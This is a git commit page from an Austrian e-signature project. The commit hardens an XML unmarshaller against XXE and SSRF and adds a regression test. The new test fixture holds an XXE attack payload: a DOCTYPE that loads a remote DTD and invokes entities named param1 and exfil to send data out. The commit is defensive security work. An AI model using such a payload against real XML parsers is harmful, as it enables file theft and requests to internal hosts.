diff options
author | Thomas Lenz <thomas.lenz@egiz.gv.at> | 2017-06-22 14:26:15 +0200 |
---|---|---|
committer | Thomas Lenz <thomas.lenz@egiz.gv.at> | 2017-06-22 14:26:15 +0200 |
commit | 345a8534ff39cc9550cbacabe2b3fffe20293508 (patch) | |
tree | 67c2deb3c10d00ecb758a162c4ff88221b7e3741 /utils/src | |
parent | f31c5c8e557b611ff4f5e43443975fb08a202863 (diff) | |
download | mocca-345a8534ff39cc9550cbacabe2b3fffe20293508.tar.gz mocca-345a8534ff39cc9550cbacabe2b3fffe20293508.tar.bz2 mocca-345a8534ff39cc9550cbacabe2b3fffe20293508.zip |
implement a workaround to fix XXE and SSRF problems in an old XMLStreamParser implementation of a third party library
Diffstat (limited to 'utils/src')
3 files changed, 113 insertions, 8 deletions
diff --git a/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java b/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java index de1b2ddf..2d1808c8 100644 --- a/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java +++ b/utils/src/main/java/at/gv/egiz/slbinding/SLUnmarshaller.java @@ -25,7 +25,10 @@ package at.gv.egiz.slbinding; +import java.io.ByteArrayInputStream; import java.io.IOException; +import java.io.InputStreamReader; +import java.io.Reader; import java.net.URL; import java.util.Arrays; import java.util.Collection; @@ -38,6 +41,8 @@ import javax.xml.bind.JAXBException; import javax.xml.bind.UnmarshalException; import javax.xml.bind.Unmarshaller; import javax.xml.bind.ValidationEvent; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; import javax.xml.stream.XMLEventReader; import javax.xml.stream.XMLInputFactory; import javax.xml.stream.XMLStreamException; @@ -46,6 +51,7 @@ import javax.xml.transform.stream.StreamSource; import javax.xml.validation.Schema; import javax.xml.validation.SchemaFactory; +import org.apache.commons.io.IOUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.xml.sax.SAXException; @@ -237,17 +243,67 @@ public class SLUnmarshaller { public Object unmarshal(StreamSource source) throws XMLStreamException, JAXBException { ReportingValidationEventHandler validationEventHandler = new ReportingValidationEventHandler(); -// System.setProperty("javax.xml.stream.XMLInputFactory", "com.sun.xml.stream.ZephyrParserFactory"); -// System.setProperty("com.sun.xml.stream.ZephyrParserFactory", "com.sun.xml.stream.ZephyrParserFactory"); -// XMLInputFactory inputFactory = XMLInputFactory.newInstance("com.sun.xml.stream.ZephyrParserFactory", null); - + Reader inputReader = source.getReader(); + + if (inputReader instanceof InputStreamReader) { + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + + try { + dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); + dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); + + } catch (ParserConfigurationException e) { + log.error("Can NOT set Xerces parser security features. -> XML parsing is possible insecure!!!! ", e); + + } + + try { + //create copy of input stream + InputStreamReader isReader = (InputStreamReader) inputReader; + String encoding = isReader.getEncoding(); + byte[] backup = IOUtils.toByteArray(isReader, encoding); + + //validate input stream + dbf.newDocumentBuilder().parse(new ByteArrayInputStream(backup)); + + //create new inputStreamReader for reak processing + inputReader = new InputStreamReader(new ByteArrayInputStream(backup), encoding); + + + } catch (SAXException e) { + log.error("XML data validation FAILED with msg: " + e.getMessage(), e); + throw new XMLStreamException("XML data validation FAILED with msg: " + e.getMessage(), e); + + + } catch (ParserConfigurationException e) { + log.error("XML data validation FAILED with msg: " + e.getMessage(), e); + throw new XMLStreamException("XML data validation FAILED with msg: " + e.getMessage(), e); + + } catch (IOException e) { + log.error("XML data validation FAILED with msg: " + e.getMessage(), e); + throw new XMLStreamException("XML data validation FAILED with msg: " + e.getMessage(), e); + + } + + } else { + log.error("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); + log.error("Reader is not of type InputStreamReader -> can not make a copy of the InputStream --> extended XML validation is not possible!!! "); + log.error("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); + + } + + //parse XML with original functionality XMLInputFactory inputFactory = XMLInputFactory.newInstance(); //disallow DTD and external entities inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); inputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false); - XMLEventReader eventReader = inputFactory.createXMLEventReader(source.getReader()); + + + XMLEventReader eventReader = inputFactory.createXMLEventReader(inputReader); RedirectEventFilter redirectEventFilter = new RedirectEventFilter(); XMLEventReader filteredReader = inputFactory.createFilteredReader(eventReader, redirectEventFilter); @@ -255,8 +311,8 @@ public Object unmarshal(StreamSource source) throws XMLStreamException, JAXBExce unmarshaller.setEventHandler(validationEventHandler); unmarshaller.setListener(new RedirectUnmarshallerListener(redirectEventFilter)); - unmarshaller.setSchema(slSchema); - + unmarshaller.setSchema(slSchema); + Object object; try { log.trace("Before unmarshal()."); diff --git a/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java b/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java index 99c11cbe..62a8d622 100644 --- a/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java +++ b/utils/src/test/java/at/gv/egiz/slbinding/UnmarshallCXSRTest.java @@ -25,6 +25,7 @@ package at.gv.egiz.slbinding; +import java.io.BufferedInputStream; import java.io.InputStream; import java.io.InputStreamReader; @@ -49,7 +50,7 @@ public class UnmarshallCXSRTest { assertNotNull(s); SLUnmarshaller unmarshaller = new SLUnmarshaller(); - Object object = unmarshaller.unmarshal(new StreamSource(new InputStreamReader(s))); + Object object = unmarshaller.unmarshal(new StreamSource(new InputStreamReader(new BufferedInputStream(s)))); assertTrue(object.getClass().getName(), object instanceof JAXBElement<?>); @@ -59,4 +60,27 @@ public class UnmarshallCXSRTest { } + @Test + public void testUnmarshalCreateXMLSignatureResponseWithDocTypeXXEOrSSRF() throws JAXBException { + + ClassLoader cl = UnmarshallCXSRTest.class.getClassLoader(); + InputStream s = cl.getResourceAsStream("at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml"); + + assertNotNull(s); + + SLUnmarshaller unmarshaller = new SLUnmarshaller(); + Object object; + try { + object = unmarshaller.unmarshal(new StreamSource(new InputStreamReader(new BufferedInputStream(s)))); + + assertTrue(object.getClass().getName(), object instanceof JAXBElement<?>); + Object value = ((JAXBElement<?>) object).getValue(); + assertFalse(value.getClass().getName(), value instanceof CreateXMLSignatureResponseType); + + } catch (XMLStreamException e) { + assertTrue(e.getClass().getName(), e instanceof XMLStreamException); + + } + } + } diff --git a/utils/src/test/resources/at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml b/utils/src/test/resources/at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml new file mode 100644 index 00000000..8684d860 --- /dev/null +++ b/utils/src/test/resources/at/gv/egiz/slbinding/CreateXMLSignatureResponse_with_Attacke.xml @@ -0,0 +1,25 @@ +<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [ + <!ELEMENT r ANY > + <!ENTITY % sp SYSTEM "http://update.egiz.gv.at/test.dtd"> + %sp; + %param1; + %exfil; +]><sl:CreateXMLSignatureResponse xmlns:sl="http://www.buergerkarte.at/namespaces/securitylayer/1.2#" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Signature Id="Signature-e5381f3d-1" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:SignedInfo Id="SignedInfo-e5381f3d-1"><dsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><dsig:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#ecdsa-sha1"/><dsig:Reference Id="Reference-e5381f3d-1" URI="test.txt"><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><dsig:DigestValue>7Dp/5KcvUfCnkohkOOzvFaeAIRc=</dsig:DigestValue></dsig:Reference><dsig:Reference Id="Reference-e5381f3d-2" Type="http://uri.etsi.org/01903/v1.1.1#SignedProperties" URI="#xmlns(xades=http://uri.etsi.org/01903/v1.1.1%23)%20xpointer(id('Object-e5381f3d-1')/child::xades:QualifyingProperties/child::xades:SignedProperties)"><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><dsig:DigestValue>fCbFrz0xI0wiN+PPn4leURvfdIo=</dsig:DigestValue></dsig:Reference></dsig:SignedInfo><dsig:SignatureValue Id="SignatureValue-e5381f3d-1">Zozx+mW/lHUO8q02DBK3Aud/sSpVdWGjfBScZDBjuzLyQyrRlXH2xo3lij5/xJa0</dsig:SignatureValue><dsig:KeyInfo><dsig:X509Data><dsig:X509Certificate>MIIDdzCCAd+gAwIBAgIRMqGxalf5fUuhqgSjs+IArBMwDQYJKoZIhvcNAQEFBQAw +TTESMBAGA1UEAwwJVlNpZyBDQSAyMSowKAYDVQQKDCFIYXVwdHZlcmJhbmQgw7Zz +dGVyci4gU296aWFsdmVycy4xCzAJBgNVBAYTAkFUMB4XDTA2MTEwODA1MjYxN1oX +DTExMTEwODA1MjYxN1owYTEXMBUGA1UEAwwOTWFydGluIENlbnRuZXIxKjAoBgNV +BAoMIUhhdXB0dmVyYmFuZCDDtnN0ZXJyLiBTb3ppYWx2ZXJzLjENMAsGA1UECwwE +VlNpZzELMAkGA1UEBhMCQVQwSTATBgcqhkjOPQIBBggqhkjOPQMBAQMyAASZohyZ +R1JDH+sANEROtE5LQFFepjfo5Xk7eRtrpnfa1MFhEOfYXxElEInOVFU049+jgZgw +gZUwEwYDVR0jBAwwCoAISGl1XDyvIyowEQYDVR0OBAoECESRXVYYhLE8MA4GA1Ud +DwEB/wQEAwIGwDAWBgNVHSAEDzANMAsGCSooAAoBBAFmADBDBggrBgEFBQcBAQQ3 +MDUwMwYIKwYBBQUHMAGGJ2h0dHA6Ly9vY3NwLmVjYXJkLnNvemlhbHZlcnNpY2hl +cnVuZy5hdDANBgkqhkiG9w0BAQUFAAOCAYEAPTDL/MLfmNw0VcHqny3lNi30hL8z +OtyiwQRo7QFA98Pm+8WPyQjyK0UVIej+NZVIVSU7WdYWVuu+au8bd3B10WBikLMl +QfEWqYDHGp+bfB4GB4WVeS78tNmXaacXjzLqae/KLALRn/dVBN/acf3C+Ey3kSYw +/96J+qgbaowlT18OvUTs1ABHgut1x31hLIgTj0R5nzfOOUXXnUN+rWm5SuaNMTHW +NMNhM6Y4jfACOsudmboeIZfgrmbDtCa2lLU95Mct2dcbBsnMRFUYoZc+9eEI/xCH +JdzFZp1DAyqzb6Y84YUr+QDCxJT5BVdU0zTI73t0ls64556ifsfq/2sixHeQgMSM +z/qQfPUC9so32sDPNHHNbKVYx9m0VpPwekWXBEVJWFffQbPe55deZ+uVFLOG4y0G +c+o3eXV2Vs9te1OoA+KRow8kjL7iil06DNOddeDQVPj7zqRQtoLKMLTJflfZp5pd +UPEZNM5Pw92T501vzHO9JNv5f/Wp3PTskBNJ</dsig:X509Certificate></dsig:X509Data></dsig:KeyInfo><dsig:Object Id="Object-e5381f3d-1"><xades:QualifyingProperties xmlns:xades="http://uri.etsi.org/01903/v1.1.1#" Target="#Signature-e5381f3d-1" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:sl="http://www.buergerkarte.at/namespaces/securitylayer/1.2#"><xades:SignedProperties Id="SignedProperties-e5381f3d-1"><xades:SignedSignatureProperties><xades:SigningTime>2010-04-20T06:08:36Z</xades:SigningTime><xades:SigningCertificate><xades:Cert><xades:CertDigest><xades:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><xades:DigestValue>GF2imE3FjjqwM8BH0RY+VjtiAI8=</xades:DigestValue></xades:CertDigest><xades:IssuerSerial><dsig:X509IssuerName>C=AT,O=Hauptverband österr. Sozialvers.,CN=VSig CA 2</dsig:X509IssuerName><dsig:X509SerialNumber>17229045246817736659347185373920056355859</dsig:X509SerialNumber></xades:IssuerSerial></xades:Cert></xades:SigningCertificate><xades:SignaturePolicyIdentifier><xades:SignaturePolicyImplied/></xades:SignaturePolicyIdentifier></xades:SignedSignatureProperties><xades:SignedDataObjectProperties><xades:DataObjectFormat ObjectReference="#Reference-e5381f3d-1"><xades:MimeType>text/plain</xades:MimeType></xades:DataObjectFormat></xades:SignedDataObjectProperties></xades:SignedProperties></xades:QualifyingProperties></dsig:Object></dsig:Signature></sl:CreateXMLSignatureResponse>
\ No newline at end of file |